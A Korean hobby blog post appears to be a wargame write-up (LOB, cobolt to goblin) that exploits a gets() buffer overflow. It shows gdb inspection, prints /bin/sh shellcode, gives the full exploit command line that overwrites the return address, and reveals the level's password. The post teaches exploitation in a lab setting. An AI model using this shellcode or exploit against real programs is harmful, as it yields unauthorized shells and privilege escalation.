심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (cobolt -> goblin)

1. 취약점


버퍼 오버플로우에 취약한 함수 gets() 사용

버퍼의 크기는 16byte,  Level 2와 달리 메인함수에 매개 변수로 입력받는 방식이 아닌 표준 입력으로 입력받는다는 차이점이 있다. 하지만 리다이렉션이라는 좋은 기능이 있으니까 그것을 잘 응용해보자.


2. Exploit

1. bash2를 사용하고 goblin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp goblin.c /tmp/goblin.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o goblin goblin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./goblin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



Level2랑 동일하게 초기단계를 관찰해보자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "B"x61'`

(gdb) x/100x $esp



r `perl -e 'print "B"x61'` 

궁금증이 생겼다.. 매개변수를 사용하지 않는 이 프로그램에 매개변수를 넣으면 어떻게 될까?

그래서 두 손 가득히 "B"를 담아 보내주었더니 메모리 공간 한 구석에 저 녀석이 생존하여 있다.

버퍼의 위치와 리턴주소의 위치를 확인하기 위해 프로그램을 계속 진행하였다


(gdb) n

(gdb) AAAAA

(gdb) x/40x $esp

 

버퍼가 16Byte + sfp가 4Byte 따라서 Return Address의 주소는 0xbffffae8


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

지난 Level 2와 거의 유사하다. 표준입력을 할 때 손으로 일일히 타이핑하는 방식이 아닌 

리다이렉션을 적극 활용하면 된다. buffer를 20byte로 채우고  Return Address는 0xbffffc40로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ (perl -e 'print "A"x20, "\x40\xfc\xff\xbf"'; cat) | ./goblin  `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

리다이렉션은 입력를 보통 키보드로 입력을 받는데 그것을 대신하여 파일이나 명령어 수행 결과를 입력으로 하는 기능을 의미한다. 시스템 프로그래밍의 파이프라인의 대표적인 사례이다.



8. 결과

   id : goblin

   passwd : hackers proof


9. 다른 풀이 

gets()는 엔터키가 끝날 때까지 입력을 계속 받는다

따라서 디버깅 할 때 관찰하면 gets()문에서 A를 무진장 많이 넣어도 메모리에 고이 간직한다.

그 점을 이용해서 표준 입력 또는 리다이렉션으로  "A" x 20, "nop 구간의 임의의 주소", "\x90" x 20, 셀 코드를 순차적으로 입력해도 해결이 된다.  

,